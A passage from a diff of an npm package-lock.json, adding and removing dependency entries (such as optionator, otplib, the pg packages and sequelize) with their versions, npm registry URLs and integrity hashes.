"sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", ++ "requires": { ++ "mimic-fn": "^2.1.0" ++ } ++ }, ++ "open": { ++ "version": "8.4.0", ++ "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz", ++ "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==", ++ "devOptional": true, ++ "requires": { ++ "define-lazy-prop": "^2.0.0", ++ "is-docker": "^2.1.1", ++ "is-wsl": "^2.2.0" ++ } ++ }, ++ "optional-require": { ++ "version": "1.1.8", ++ "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz", ++ "integrity": "sha512-jq83qaUb0wNg9Krv1c5OQ+58EK+vHde6aBPzLvPPqJm89UQWsvSuFy9X/OSNJnFeSOKo7btE0n8Nl2+nE+z5nA==", ++ "requires": { ++ "require-at": "^1.0.6" ++ } ++ }, ++ "optionator": { ++ "version": "0.8.3", ++ "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", ++ "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", ++ "dev": true, ++ "requires": { ++ "deep-is": "~0.1.3", ++ "fast-levenshtein": "~2.0.6", ++ "levn": "~0.3.0", ++ "prelude-ls": "~1.1.2", ++ "type-check": "~0.3.2", ++ "word-wrap": "~1.2.3" ++ }, ++ "dependencies": { ++ "levn": { ++ "version": "0.3.0", ++ "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", ++ "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", ++ "dev": true, ++ "requires": { ++ "prelude-ls": "~1.1.2", ++ "type-check": "~0.3.2" ++ } + }, +- "yargs-unparser": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz", +- "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", ++ "prelude-ls": { ++ "version": "1.1.2", ++ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", ++ "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", ++ "dev": true ++ }, ++ "type-check": { ++ "version": "0.3.2", ++ "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", ++ "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, + "requires": { +- "flat": "^4.1.0", +- "lodash": "^4.17.15", +- "yargs": "^13.3.0" ++ "prelude-ls": "~1.1.2" + } + } + } + }, +- "p-any": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-any/-/p-any-3.0.0.tgz", +- "integrity": "sha512-5rqbqfsRWNb0sukt0awwgJMlaep+8jV45S15SKKB34z4UuzjcofIfnriCBhWjZP2jbVtjt9yRl7buB6RlKsu9w==", ++ "options": { ++ "version": "0.0.6", ++ "resolved": "https://registry.npmjs.org/options/-/options-0.0.6.tgz", ++ "integrity": "sha1-7CLTEoBrtT5zF3Pnza788cZDEo8=" ++ }, ++ "ordered-read-streams": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz", ++ "integrity": "sha1-d8DLN8QVJdZBZtmQ/61+xqDhNj4=", ++ "dev": true, + "requires": { +- "p-cancelable": "^2.0.0", +- "p-some": "^5.0.0" ++ "readable-stream": "^2.0.1" + }, + "dependencies": { +- "p-cancelable": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", +- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" ++ "isarray": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", ++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", ++ "dev": true ++ }, ++ "readable-stream": { ++ "version": "2.3.7", ++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", ++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", ++ "dev": true, ++ "requires": { ++ "core-util-is": "~1.0.0", ++ "inherits": "~2.0.3", ++ "isarray": "~1.0.0", ++ "process-nextick-args": "~2.0.0", ++ "safe-buffer": "~5.1.1", ++ "string_decoder": "~1.1.1", ++ "util-deprecate": "~1.0.1" ++ } ++ }, ++ "string_decoder": { ++ "version": "1.1.1", ++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", ++ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", ++ "dev": true, ++ "requires": { ++ "safe-buffer": "~5.1.0" ++ } + } + } + }, +- "p-cancelable": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz", +- "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==" ++ "os-tmpdir": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", ++ "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" + }, +- "p-event": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", +- "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==", ++ "ospath": { ++ "version": "1.2.2", ++ "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz", ++ "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=", ++ "dev": true ++ }, ++ "otplib": { ++ "version": "12.0.1", ++ "resolved": "https://registry.npmjs.org/otplib/-/otplib-12.0.1.tgz", ++ "integrity": "sha512-xDGvUOQjop7RDgxTQ+o4pOol0/3xSZzawTiPKRrHnQWAy0WjhNs/5HdIDJCrqC4MBynmjXgULc6YfioaxZeFgg==", + "requires": { +- "p-timeout": "^3.1.0" ++ "@otplib/core": "^12.0.1", ++ "@otplib/preset-default": "^12.0.1", ++ "@otplib/preset-v11": "^12.0.1" + } + }, + "p-finally": { +@@ -59597,22 +47974,6 @@ + "retry": "^0.13.1" + } + }, +- "p-some": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/p-some/-/p-some-5.0.0.tgz", +- "integrity": "sha512-Js5XZxo6vHjB9NOYAzWDYAIyyiPvva0DWESAIWIK7uhSpGsyg5FwUPxipU/SOQx5x9EqhOh545d1jo6cVkitig==", +- "requires": { +- "aggregate-error": "^3.0.0", +- "p-cancelable": "^2.0.0" +- }, +- "dependencies": { +- "p-cancelable": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", +- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" +- } +- } +- }, + "p-throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-4.1.1.tgz", +@@ -59643,11 +48004,6 @@ + "release-zalgo": "^1.0.0" + } + }, +- "packet-reader": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/packet-reader/-/packet-reader-1.0.0.tgz", +- "integrity": "sha512-HAKu/fG3HpHFO0AA8WE8q2g+gBJaZ9MG7fcKk+IJPLTGAD6Psw4443l+9DGRbOIh3/aXr7Phy0TjilYivJo5XQ==" +- }, + "param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", +@@ -59680,16 +48036,6 @@ + "resolved": "https://registry.npmjs.org/parse-duration/-/parse-duration-1.0.2.tgz", + "integrity": "sha512-Dg27N6mfok+ow1a2rj/nRjtCfaKrHUZV2SJpEn/s8GaVUSlf4GGRCRP1c13Hj+wfPKVMrFDqLMLITkYKgKxyyg==" + }, +- "parse-filepath": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz", +- "integrity": "sha1-pjISf1Oq89FYdvWHLz/6x2PWyJE=", +- "requires": { +- "is-absolute": "^1.0.0", +- "map-cache": "^0.2.0", +- "path-root": "^0.1.1" +- } +- }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", +@@ -59707,11 +48053,6 @@ + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz", + "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==" + }, +- "parse-passwd": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", +- "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=" +- }, + "parse-srcset": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz", +@@ -59747,11 +48088,6 @@ + "tslib": "^2.0.3" + } + }, +- "pascalcase": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", +- "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=" +- }, + "passport": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/passport/-/passport-0.4.1.tgz", +@@ -59985,33 +48321,11 @@ + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "devOptional": true + }, +- "path-loader": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/path-loader/-/path-loader-1.0.10.tgz", +- "integrity": "sha512-CMP0v6S6z8PHeJ6NFVyVJm6WyJjIwFvyz2b0n2/4bKdS/0uZa/9sKUlYZzubrn3zuDRU0zIuEDX9DZYQ2ZI8TA==", +- "requires": { +- "native-promise-only": "^0.8.1", +- "superagent": "^3.8.3" +- } +- }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, +- "path-root": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz", +- "integrity": "sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=", +- "requires": { +- "path-root-regex": "^0.1.0" +- } +- }, +- "path-root-regex": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz", +- "integrity": "sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0=" +- }, + "path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", +@@ -60058,66 +48372,6 @@ + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, +- "pg": { +- "version": "8.7.1", +- "resolved": "https://registry.npmjs.org/pg/-/pg-8.7.1.tgz", +- "integrity": "sha512-7bdYcv7V6U3KAtWjpQJJBww0UEsWuh4yQ/EjNf2HeO/NnvKjpvhEIe/A/TleP6wtmSKnUnghs5A9jUoK6iDdkA==", +- "requires": { +- "buffer-writer": "2.0.0", +- "packet-reader": "1.0.0", +- "pg-connection-string": "^2.5.0", +- "pg-pool": "^3.4.1", +- "pg-protocol": "^1.5.0", +- "pg-types": "^2.1.0", +- "pgpass": "1.x" +- } +- }, +- "pg-connection-string": { +- "version": "2.5.0", +- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.5.0.tgz", +- "integrity": "sha512-r5o/V/ORTA6TmUnyWZR9nCj1klXCO2CEKNRlVuJptZe85QuhFayC7WeMic7ndayT5IRIR0S0xFxFi2ousartlQ==" +- }, +- "pg-copy-streams": { +- "version": "2.2.2", +- "resolved": "https://registry.npmjs.org/pg-copy-streams/-/pg-copy-streams-2.2.2.tgz", +- "integrity": "sha512-mjSqs6hrsRhBojCuY2hxyg48B+3th5ARBjMxBCEisIqBvdRD0g5ETdbts20TzrOfha8ueJQOmQCJCprtczJtGQ==" +- }, +- "pg-int8": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", +- "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==" +- }, +- "pg-pool": { +- "version": "3.4.1", +- "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.4.1.tgz", +- "integrity": "sha512-TVHxR/gf3MeJRvchgNHxsYsTCHQ+4wm3VIHSS19z8NC0+gioEhq1okDY1sm/TYbfoP6JLFx01s0ShvZ3puP/iQ==", +- "requires": {} +- }, +- "pg-protocol": { +- "version": "1.5.0", +- "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.5.0.tgz", +- "integrity": "sha512-muRttij7H8TqRNu/DxrAJQITO4Ac7RmX3Klyr/9mJEOBeIpgnF8f9jAfRz5d3XwQZl5qBjF9gLsUtMPJE0vezQ==" +- }, +- "pg-types": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", +- "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", +- "requires": { +- "pg-int8": "1.0.1", +- "postgres-array": "~2.0.0", +- "postgres-bytea": "~1.0.0", +- "postgres-date": "~1.0.4", +- "postgres-interval": "^1.1.0" +- } +- }, +- "pgpass": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", +- "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", +- "requires": { +- "split2": "^4.1.0" +- } +- }, + "picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", +@@ -60296,11 +48550,6 @@ + } + } + }, +- "posix-character-classes": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", +- "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=" +- }, + "postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", +@@ -60333,29 +48582,6 @@ + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, +- "postgres-array": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", +- "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==" +- }, +- "postgres-bytea": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.0.tgz", +- "integrity": "sha1-AntTPAqokOJtFy1Hz5zOzFIazTU=" +- }, +- "postgres-date": { +- "version": "1.0.7", +- "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", +- "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==" +- }, +- "postgres-interval": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", +- "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", +- "requires": { +- "xtend": "^4.0.0" +- } +- }, + "pprof": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/pprof/-/pprof-3.2.0.tgz", +@@ -60526,14 +48752,6 @@ + } + } + }, +- "promptly": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/promptly/-/promptly-3.2.0.tgz", +- "integrity": "sha512-WnR9obtgW+rG4oUV3hSnNGl1pHm3V1H/qD9iJBumGSmVsSC5HpZOLuu8qdMb6yCItGfT7dcRszejr/5P3i9Pug==", +- "requires": { +- "read": "^1.0.4" +- } +- }, + "prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", +@@ -60586,12 +48804,6 @@ + "resolved": "https://registry.npmjs.org/property-expr/-/property-expr-2.0.5.tgz", + "integrity": "sha512-IJUkICM5dP5znhCckHSv30Q4b5/JA5enCtkRHYaOVOAocnH/1BQEYTC5NMfT3AVl/iXKdr3aqQbQn9DxyWknwA==" + }, +- "proto-list": { +- "version": "1.2.4", +- "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz", +- "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=", +- "dev": true +- }, + "proto3-json-serializer": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-0.1.8.tgz", +@@ -60642,11 +48854,6 @@ + "dev": true, + "optional": true + }, +- "pseudomap": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", +- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" +- }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", +@@ -60965,11 +49172,6 @@ + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "devOptional": true + }, +- "quick-lru": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-1.1.0.tgz", +- "integrity": "sha1-Q2CxfGETatOAeDl/8RQW4Ybc+7g=" +- }, + "ramda": { + "version": "0.28.0", + "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.28.0.tgz", +@@ -61000,27 +49202,6 @@ + } + } + }, +- "randombytes": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.3.tgz", +- "integrity": "sha1-Z0yZdgkBw8QRJ3GjHlIdw0nMCew=" +- }, +- "randomstring": { +- "version": "1.2.2", +- "resolved": "https://registry.npmjs.org/randomstring/-/randomstring-1.2.2.tgz", +- "integrity": "sha512-9FByiB8guWZLbE+akdQiWE3I1I6w7Vn5El4o4y7o5bWQ6DWPcEOp+aLG7Jezc8BVRKKpgJd2ppRX0jnKu1YCfg==", +- "requires": { +- "array-uniq": "1.0.2", +- "randombytes": "2.0.3" +- }, +- "dependencies": { +- "array-uniq": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.2.tgz", +- "integrity": "sha1-X8w3OSB3VyPP1k1lxkvvU7+eum0=" +- } +- } +- }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", +@@ -61228,14 +49409,6 @@ + } + } + }, +- "read": { +- "version": "1.0.7", +- "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", +- "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=", +- "requires": { +- "mute-stream": "~0.0.4" +- } +- }, + "readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", +@@ -61263,14 +49436,6 @@ + "picomatch": "^2.2.1" + } + }, +- "rechoir": { +- "version": "0.6.2", +- "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz", +- "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=", +- "requires": { +- "resolve": "^1.1.6" +- } +- }, + "recurly": { + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/recurly/-/recurly-4.12.0.tgz", +@@ -61291,12 +49456,6 @@ + "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz", + "integrity": "sha1-62LSrbFeTq9GEMBK/hUpOEJQq60=" + }, +- "redis-mock": { +- "version": "0.49.0", +- "resolved": "https://registry.npmjs.org/redis-mock/-/redis-mock-0.49.0.tgz", +- "integrity": "sha512-FW/cLZvF1PAVN/PYIwXf1vQRoJCyYCwUMtq8BXRwrvb9LNNAT4RKXM02Qlt6qSkC/98hmHlU2EGoQoxVy3E2lA==", +- "dev": true +- }, + "redis-parser": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz", +@@ -61305,14 +49464,6 @@ + "redis-errors": "^1.0.0" + } + }, +- "redlock": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/redlock/-/redlock-4.2.0.tgz", +- "integrity": "sha512-j+oQlG+dOwcetUt2WJWttu4CZVeRzUrcVcISFmEmfyuwCVSJ93rDT7YSgg7H7rnxwoRyk/jU46kycVka5tW7jA==", +- "requires": { +- "bluebird": "^3.7.2" +- } +- }, + "reduce": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/reduce/-/reduce-1.0.2.tgz", +@@ -61470,34 +49621,6 @@ + "@babel/runtime": "^7.8.4" + } + }, +- "regex-not": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", +- "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", +- "requires": { +- "extend-shallow": "^3.0.2", +- "safe-regex": "^1.1.0" +- }, +- "dependencies": { +- "extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "requires": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- } +- }, +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- } +- } +- }, + "regexp-clone": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz", +@@ -61678,12 +49801,14 @@ + "repeat-element": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", +- "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==" ++ "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", ++ "dev": true + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", +- "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=" ++ "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=", ++ "dev": true + }, + "replace-ext": { + "version": "1.0.1", +@@ -61873,47 +49998,6 @@ + "resolve-from": "^5.0.0" + } + }, +- "resolve-dir": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", +- "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=", +- "requires": { +- "expand-tilde": "^2.0.0", +- "global-modules": "^1.0.0" +- }, +- "dependencies": { +- "global-modules": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", +- "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", +- "requires": { +- "global-prefix": "^1.0.1", +- "is-windows": "^1.0.1", +- "resolve-dir": "^1.0.0" +- } +- }, +- "global-prefix": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", +- "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=", +- "requires": { +- "expand-tilde": "^2.0.2", +- "homedir-polyfill": "^1.0.1", +- "ini": "^1.3.4", +- "is-windows": "^1.0.1", +- "which": "^1.2.14" +- } +- }, +- "which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "requires": { +- "isexe": "^2.0.0" +- } +- } +- } +- }, + "resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", +@@ -61929,19 +50013,6 @@ + "value-or-function": "^3.0.0" + } + }, +- "resolve-url": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", +- "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=" +- }, +- "responselike": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", +- "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", +- "requires": { +- "lowercase-keys": "^1.0.0" +- } +- }, + "restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", +@@ -61952,24 +50023,11 @@ + "signal-exit": "^3.0.2" + } + }, +- "ret": { +- "version": "0.1.15", +- "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", +- "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==" +- }, + "retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==" + }, +- "retry-as-promised": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/retry-as-promised/-/retry-as-promised-3.2.0.tgz", +- "integrity": "sha512-CybGs60B7oYU/qSQ6kuaFmRd9sTZ6oXSc0toqePvV74Ac6/IFZSI1ReFQmtCN+uvW1Mtqdwpvt/LGOiCBAY2Mg==", +- "requires": { +- "any-promise": "^1.3.0" +- } +- }, + "retry-request": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-4.2.2.tgz", +@@ -62061,14 +50119,6 @@ + "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==", + "optional": true + }, +- "safe-regex": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", +- "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", +- "requires": { +- "ret": "~0.1.10" +- } +- }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", +@@ -62378,227 +50428,6 @@ + } + } + }, +- "sequelize": { +- "version": "5.22.5", +- "resolved": "https://registry.npmjs.org/sequelize/-/sequelize-5.22.5.tgz", +- "integrity": 